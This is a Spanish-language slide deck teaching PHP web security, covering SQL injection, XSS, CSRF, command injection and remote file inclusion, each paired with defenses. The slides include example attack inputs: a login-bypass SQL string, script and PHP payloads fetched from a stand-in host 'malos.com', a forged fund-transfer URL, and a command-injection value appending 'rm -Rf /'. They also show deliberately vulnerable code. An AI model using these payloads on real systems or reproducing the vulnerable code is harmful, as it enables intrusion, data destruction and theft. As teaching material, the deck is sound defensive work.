Anda di halaman 1dari 24

PHP

SEGURIDAD
(o cmo evitar que los malos nos jodan vivos)

Carlos Campderrs | http://campderros.com

PHP

Hoy en da, hacer una web que no sea esttica


puede ser una pesadilla por la cantidad de
ataques existentes
Algo tan simple como
<?php echo $_GET['x']; ?>
ya es una vulnerabilidad en una pgina web

S, lo digo en serio

Muy en serio!
Carlos Campderrs | http://campderros.com

PHP

2 reglas bsicas:

NUNCA confiar en datos que provengan del usuario

"Filter your input, Escape your output"

Adems de stas hay otras a tener en cuenta,


pero sin duda stas son las ms importantes

Carlos Campderrs | http://campderros.com

PHP

No confiar en datos que vienen del usuario (i)

Si el usuario puede modificar el valor de una


variable, no se debe confiar nunca en este dato

productos.php?id=4
El usuario puede modificar fcilmente el id de
producto a visualizar, y poner, en vez de un
nmero, cualquier otra cosa
Asegurarse que $_GET['id'] es un nmero!!!

Carlos Campderrs | http://campderros.com

PHP

No confiar en datos que vienen del usuario (ii)

En el caso anterior est muy claro que el usuario


puede modificar el id que nos enva.
En el formulario que aparece
aqu al lado, un usuario tambin
puede modificar el valor del mes

Cmo? Modificando el html


y luego enviando el formulario a su destino
O usando plugins para el navegador
10 minutos de ejercicio!

Carlos Campderrs | http://campderros.com

PHP

No confiar en datos que vienen del usuario (iii)

Visto lo visto con el ejercicio anterior, espero que


todos comprobis que lo que os llega a travs de
formularios son valores vlidos antes de empezar a
trabajar con ellos
Datos que puede modificar el usuario:

$_GET, $_POST, $_REQUEST, $_COOKIE,


$_FILES* , $_SERVER*

* Algunos campos nicamente


Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (i)

Filter your input se refiere a lo que ya hemos


comentado antes... no confiar en los datos que
enva el usuario
Cada vez que enviamos datos a un medio, hemos
de evitar que caracteres especiales para ese medio
que puedan existir en los datos que enviamos se
interpreten como tales:

Comillas (simples o dobles) en bases de datos


<, >, &, ', " en html
', ", $, ;, ` al ejecutar comandos en la terminal
Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (ii)

SQL Injection (i)

Sucede cuando no escapamos las ' o " en una


consulta a la base de datos
$sql = "SELECT * FROM usuarios
WHERE username='{$_POST['username']}'
AND password='{$_POST['password']}'";
Si nos envan usuario 'pepe' y contrasea 'patata'
$sql = "SELECT * FROM usuarios WHERE
username='pepe' AND password='patata';
Sin peligro!
Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (iii)

SQL Injection (ii)

Un atacante podra introducir esto como


username:
' OR id=1 -- (tal cual, con la comilla includa)
Query generado:
$sql = "SELECT * FROM usuarios WHERE
username='' OR id=1 -- ' AND
password='blabla'"
A partir de -- es comentario
El atacante podra autenticarse como cualquier
usuario!
Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (iv)

SQL Injection (iii)

Un atacante podra usar una SQL Injection para


mltiples propsitos:
Login sin usuario / contrasea
Obtener registros de la base de datos (datos
bancarios, personales, passwords...)
Eliminar registros o tablas de la BD

Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (v)

SQL Injection (iv)

Solucin: Escapar las comillas (y algunos otros


caracteres)
Manera: Usar mtodos especficos del driver de
la base de datos:

$mysqli->real_escape_string($variable)
$pdo->quote($variable)
Si no hay mtodo disponible, addslashes($var)

Manera 2: Prepared Statements

Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (vi)

Cross-Site Scripting (XSS) (i)

Cuando los datos que escribe el usuario se


muestran en una pgina web
El usuario puede escribir html que se interpretar
como tal
Posibilidades enormes para un atacante, la ms
habitual insertar un <iframe> o <script> que
cargue una pgina/script con cdigo malvolo
XSS ataca a los usuarios de la web, no a la web
en si misma (habitualmente)

Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (vii)

Cross-Site Scripting (XSS) (ii)

Si un atacante consigue meter cdigo html en


una pgina que puede ver mucha gente, ya la
hemos jodido
Habitualmente: foros, perfiles de usuario
En caso que no pueda, igualmente podemos
(bueno, nuestros usuarios) estar jodidos:
vulnerable.php?id=<script
src="http://malos.com/script.js"> </script>
Usa un redireccionador tipo tinyurl para el ataque
anterior
Carlos Campderrs | http://campderros.com

PHP

Filter your input, Escape your output (viii)

Cross-Site Scripting (XSS) (iii)

Para protegernos (y a nuestros usuarios): Evitar


que se interprete el cdigo html que entran
nuestros usuarios
htmlspecialchars($texto_usuario);

Carlos Campderrs | http://campderros.com

PHP

Cross-Site Request Forgery (CSRF) (i)

Un atacante envia una peticin a un sitio web como


si proviniera de un usuario legtimo
ejemplo

Un usuario se ha logueado en
www.mipagina.com
En otra ventana del navegador, visita
http://malos.com/, donde hay este cdigo:
<img src="http://mipagina.com/logout.php" />
Esto provoca que el navegador del usuario lance
una peticin a mipagina.com/logout.php, que
parece legtima, y desloguea al usuario
Carlos Campderrs | http://campderros.com

PHP

Cross-Site Request Forgery (CSRF) (ii)

Puede afectar tanto a peticiones GET como POST


El caso del logout es ms o menos inofensivo,
aunque molesto
lacaixa.com/traspasar_fondos.php?
from=mi_cuenta&to=cuenta_atacante&cantidad=10
000

ya no es tan inofensivo eh?

Carlos Campderrs | http://campderros.com

PHP

Cross-Site Request Forgery (CSRF) (iii)

Para protegernos (y a nuestros usuarios)

Uso de tokens nicos entre peticiones

Generar un token aleatorio y guardarlo en la


sesin
En la siguiente peticin que haya, comprobar la
existencia de dicho token (que se habr
enviado en la url o mediante un input hidden)
Si existe y es el mismo que el de la sesin, todo
correcto: procesamos la peticin
Si no existe o es diferente: posible ataque. No
hacemos nada
Carlos Campderrs | http://campderros.com

PHP

Cross-Site Request Forgery (CSRF) (iv)

Regenerar un token cada vez


Es muy difcil (si no imposible) que un atacante
pueda realizar una peticin hacindose pasar
por un usuario legtimo acertando el token que
toque

Es un ataque indiscriminado, aunque con pocas


posibilidades de xito excepto a sitios de primera
lnea

Necesitamos que el usuario se haya autenticado


en la pgina y luego visite la web malos.com

Carlos Campderrs | http://campderros.com

PHP

Ejecutar comandos (i)

Imaginad que queremos mostrar al usuario los


archivos que hay en una carpeta, el nombre de la
cual nos la proporciona el usuario:
listar.php?carpeta=imagenes
El cdigo de listar.php incluye:
$comando = "ls ".$_GET['carpeta'];
echo exec($comando);

Carlos Campderrs | http://campderros.com

PHP

Ejecutar comandos (ii)

Si el usuario accede a:
listar.php?carpeta=imagenes; rm -Rf /
La instruccin a ejecutar quedara como:
ls imagenes; rm -Rf /
2 comandos! listar el contenido de la carpeta
imgenes... y luego borrar todos los archivos del
disco duro!
Evitarlo usando escapeshellcmd() y
escapeshellarg()
Carlos Campderrs | http://campderros.com

PHP

Incluir archivos remotos (i)

Es (o era) bastante comn acceder a un sitio con


una url similar a
index.php?pagina=productos
Internamente, index.php realiza una cosa similar a
require_once($_GET['pagina'].'.php');
Qu pasa si un atacante accede a
index.php?pagina=http://malos.com/script
Bingo... la hemos jodido!

Carlos Campderrs | http://campderros.com

PHP

Incluir archivos remotos (ii)

http://malos.com/script.php ser una pgina con


cdigo PHP, que descargaremos y ejecutaremos en
nuestro servidor, lo que significa que estaremos
ejecutando cdigo PHP creado por un atacante... y
que probablemente no tendr nada de bueno
Para evitarlo (i):

Pasar la pgina como un nmero y consultar un


array de pginas
Poner un ./ al inicio del require (de esta forma se
intentara incluir './http://malos.com/script.php',
y fallara
Carlos Campderrs | http://campderros.com

PHP

Incluir archivos remotos (iii)

Para evitarlo (ii):

Desactivar la funcionalidad de incluir archivos


remotos en php (directiva allow_url_include)

Carlos Campderrs | http://campderros.com

PHP

TODO:

Validacin servidor obligatoria!!!

(validacin cliente opcional)

Robo sesiones

Usuario root bd

Carlos Campderrs | http://campderros.com

Anda mungkin juga menyukai